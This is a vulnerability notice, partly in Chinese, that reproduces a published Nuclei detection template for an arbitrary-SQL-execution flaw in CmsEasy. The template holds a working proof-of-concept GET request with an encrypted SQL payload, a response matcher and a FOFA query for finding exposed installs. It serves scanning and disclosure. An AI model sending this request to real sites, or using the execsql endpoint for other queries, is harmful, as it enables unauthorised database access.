cmseasy-crossall-sqli: CmsEasy crossall_act - SQL Injection

漏洞描述

CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.

PoC代码[已公开]

id: cmseasy-crossall-sqli

info:
  name: CmsEasy crossall_act - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.
  reference:
    - https://cn-sec.com/archives/1580677.html
    - https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28
  classification:
    cpe: cpe:2.3:a:cmseasy:cmseasy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cmseasy
    product: cmseasy
    fofa-query: app="CmsEasy"
  tags: cmseasy,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"123":"123"}'

      - type: status
        status:
          - 200
# digest: 490a0046304402202aac0ab27692820979e304f68701c6778dd30b3e2d66f40c5a5d7ddd3228ccc70220315cb948bee360543aac415fd4a7d95fe4323c882324b32cf634cbee9b66bd45:922c64590222798bb761d5b6d8e72950

来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/cmseasy-crossall-act-sqli.yaml